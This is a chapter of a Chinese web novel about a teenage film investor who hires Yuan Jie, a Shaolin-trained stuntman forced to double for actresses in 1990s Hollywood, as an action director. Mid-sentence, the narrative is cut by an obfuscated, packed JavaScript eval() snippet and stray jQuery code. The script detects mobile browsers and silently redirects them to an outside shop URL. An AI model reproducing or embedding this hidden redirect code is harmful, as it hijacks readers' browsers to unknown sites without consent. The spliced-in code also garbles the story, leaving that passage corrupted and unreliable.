“外国姑娘？”陈振华先是一愣，随即反应过来，忍不住笑出声，摆手道，“不是不是，你误会了，他不是姑娘。”
正说着，那人已经走到了近前。看见陈振华，他开口喊了声“师叔”，声音偏低，是青年男子的声线。
说着抬手一摘头上的假发，浓密的金色卷发应声落下，露出底下利落的黑色寸头。他又随手抹了把脸上的粉，露出周正的眉眼，只是脸上还带着没卸干净的粉底，显得有些滑稽。
菲伊这才看清，对方确实是个年轻男人，个子大概一米七，身形偏瘦，肩背却挺得很直，站在那里自有一股习武之人的精气神。
“我给你们介绍。”陈振华笑着摆手，“袁杰，这就是我跟你说的菲伊·温斯洛。菲伊，这是袁杰，少林第三十代俗家弟子，六岁入寺，17、18岁连着拿了两届全国武术冠军，一身功夫是实打实的。”
袁杰脸上一红，有点局促地挠了挠头，语气憨厚：“师叔您就别提以前的事了。我现在混成这副样子，实在愧对师门。”
三人就近找了家街角的小咖啡厅坐下。
袁杰选了最靠里的位置，坐下时先把过长的戏服裙摆仔细拢到膝头，腰背挺得笔直，双手规规矩矩搭在腿上，只有指尖无意识地摩挲着洗得发白的牛仔裤。
他话不多，内敛得近乎木讷，大多时候都是陈振华在说，菲伊偶尔问两句，他才微微前倾身体，认认真真地答。
聊了没一会儿，菲伊就把他的经历摸清了大半。
袁杰小时候家里条件差，六岁被送去少林寺，本是混口饭吃，不料被释德法大师看中收了徒弟，一练就是十几年。
18岁时已连着拿了两届全国武术冠军，意气风发，只身前往香港影坛闯荡，一待就是七八年，演了几部功夫片的配角，始终没溅起水花。
三年前年辗转来到好莱坞，本想着这边薪酬高，好歹能安身，一晃三年过去，日子反倒越过越难。
“说来惭愧。”袁杰端起咖啡杯，粗粝的指节轻轻蹭过杯沿。他垂着眼，眼尾的细纹在暖光下格外明显，三十出头的年纪，眼底却有着远超同龄人的沧桑。
“我嘴笨，不会来事儿，也不会逢迎拍马，香港那几年就没闯出什么名堂。来这边更是如此，华人武师本就受排挤，我又不会钻营，正经武替的活儿轮不到我。”
他没往下说，但意思已经很明白。
九十年代的好莱坞，排外与歧视刻在行业骨血里，一个没背景、没名气的华人，空有一身硬功夫也只能被挑挑拣拣。
许多剧组看他身高一米七，身形偏瘦骨架小，就安排他给女演员做武替——浓妆一盖，假发一套，远景里根本分不出男女，薪酬却只有白人男替的三分之一。
菲伊的目光落在他手上。那是一双习武人的手，指节粗大，掌心与指腹覆着厚厚的拳茧，手背上还有几道新旧交叠的浅疤，应该是练功和拍动作戏时留下的。
可就是这样一双手，此刻捏着咖啡杯的动作却放得很轻，带着点怕碰坏东西的拘谨。
她心里多了几分了然，这种性子的人，踏实、能吃苦、不耍滑，教功夫必然会倾囊相授。可也正是这份老实木讷，注定了他在人情世故盘根错节的娱乐圈里，寸步难行。
袁杰偶尔抬眼，撞见菲伊的目光，见她眼神里没有嘲讽，没有猎奇的打量，只有坦荡和理解，反倒愣了一下，又赶紧垂下眼，指尖把杯沿攥得更紧了点。
他见多了旁人听说“男扮女武替”时的戏谑与轻视，眼前这个年纪轻轻的姑娘却从头到尾没露出半分异色，这份尊重，让他心里热乎乎的。
“我也是前段时间和国内师兄联系上，才知道他在这儿。”陈振华叹了口气，端起茶杯抿了一口，“华人在外立足难啊。他性子又直，说话不会拐弯，前阵子得罪了个副导演，手里的活儿直接被砍了大半，最近都在收拾行李准备回国了。
正好你说想找个武术教练，我就想着撮合一下。要是合适，既能有人教你真东西，也能让他多份营生，先留下来再说。”
听到“回国”两个字，袁杰肩膀几不可察地塌了一下。
他不是不想回去，只是不甘心。
六岁进入少林寺，冬练三九夏练三伏，一身功夫是一拳一脚打出来的。
当年拿全国冠军时，他也曾站在领奖台上，意气风发地想着凭这身本事闯出一片天。
香港八年，好莱坞三年，兜兜转转十余年，最后居然要靠男扮女装做武替混口饭吃。如果就这灰溜溜地回去，实在没脸见家乡父老，更没脸见师父。
可留下来又能如何？日子一天天蹉跎，一身功夫耗在无意义的排挤和冷眼里，就像一把刀，再好再利，如果埋在泥土里，终有一天会变得锈钝不堪。
他垂着眼，咖啡的热气熏得眼底发涩。
“袁老师一身真功夫，只做我一个人的私人教练，未免太屈才了。”
少女清脆的声音忽然响起。
袁杰心里咯噔一下，看向菲伊的眼睛里，闪过一抹黯然：“我知道，我现在这个样子……要是温斯洛小姐觉得不合适——”
他以为菲伊是嫌他如今混得落魄，配不上做她的教练。
“袁老师误会了。”菲伊见状，连忙放缓语气，“我是想问，你有没有想过做武术指导？”
“武指？”
袁杰迅速抬头，眼里的错愕藏都藏不住。
他当然想过！
在香港的时候，他与剧组的武指混的最熟、交流的最多，脑子里存着无数套拳路和镜头动作设计，比许多只会摆花架子的武指扎实得多。
可在好莱坞，连正经男替的位置都轮不到他，更别说独当一面的武术指导了。
“我手里正在投资一部小成本独立电影，叫《落水狗》。”
菲伊语气很诚恳，没有半分居高临下的施舍意味，“剧组经费紧，没请正经武术指导，里面几场动作戏都是导演和演员自己瞎琢磨的，拍出来很粗糙。
要是袁老师愿意屈就过去帮忙指点一下，对我们剧组是雪中送炭。就是有一点，经费有限，给的薪水可能不会太高。”
她话说得实在，没玩虚头巴脑那套，更没有画大饼。
可落在袁杰耳朵里，却像突然中了彩票一样，搞得他脑子有些发懵
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876322|209455||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
他盯着菲伊看了好几秒，确定对方不是在开玩笑后，激动得有些语无伦次：“我、我真的可以吗？我没有资历，啊，不，我的意思是，我没正经担任过武指，但是动作设计、套招、安全防护我都懂，我——”
他想证明自己有本事，却不知道该怎么组织语言，急的额头都开始冒汗。
“薪水多少都没关系！”说到最后，他又补了一句，眼神亮得惊人，像积灰多年的炭重新被点燃，“只要能让我正经做功夫相关的活，我肯定好好干，绝不糊弄！”
这哪里是屈就，对他来说根本是柳暗花明。他本来都收拾好行李箱，打算月底就买机票回国的。
“那就好。”菲伊笑了笑，“等你这边片场的忙完，我带你去剧组见导演，商量一些具体的工作安排。”
说着她又想起学武的事，补充道：“至于我学功夫的事，还是按之前说的来，麻烦袁老师平时抽时间教教我。”
提到这个，袁杰神色立刻郑重了几分，斟酌着开口道：“有句话我得先跟你说清楚。你现在十六岁，根骨基本已经长成了，不像从小打基础的孩子，练起来见效慢，还要吃不少苦头。拉筋、站桩、挨摔，一样都少不了，可能练上半年一年，也未必能有多大起色。”
他说的是实话，不想哄人，也不想砸了师门的招牌。
“我不怕吃苦。”菲伊语气很平静，却带着十足的笃定，“只要能练出真功夫，多累都没关系。”
袁杰看着她的眼神，重重点了点头，没再多说。习武之人最看重心性，看她这股稳重劲儿，就知道不是三分钟热度。
他抬手看了眼腕上磨掉漆的电子表，脸色微变：“不好，我那场替身戏还有半小时开拍，得赶紧回去补妆了。”
他说着就站起身，冲陈振华和菲伊分别拱了拱手：“师叔，温斯洛小姐，那我先回片场了。等我这边收工，咱们再细说。”
“去吧去吧，工作要紧。”陈振华摆了摆手。
袁杰又冲菲伊郑重地点了下头，拿起那顶金色假发，快步往门外走去。脊背比来时挺直了不少，脚步都透着股重新攒起来的劲。
看着他的身影消失在门后，陈振华才转回头，看着菲伊叹了口气，语气里满是真切的感激：
“菲伊，今天这事，老夫替我师兄，也替袁杰，好好谢谢你。这孩子憋得太久了，再熬下去，这身从小练到大的功夫就真废了。”
“陈老言重了。”菲伊笑了笑，坦言道，“我也是为了自己。袁老师有真本事，我缺好一个教练，也真的需要一个靠谱武指。一拍即合的事，谈不上谁谢谁。”
“你啊，年纪轻轻，却说话老成，行事敞亮。”陈振华笑着摇摇头，“对了，我唐人街那间武馆，场地大，器材也全，木人桩、沙袋、兵器架都齐。你和袁杰以后要是练功夫，随时都能过去，不用跟我客气。”
菲伊闻言喜笑颜开，当即对着陈振华拱手作揖，学着习武之人的礼数郑重谢道：
“那可真是求之不得，晚辈在此先谢过陈老！我正愁没个正经场地学武，在家又怕打扰到邻居和家人，这下可算是解了燃眉之急。”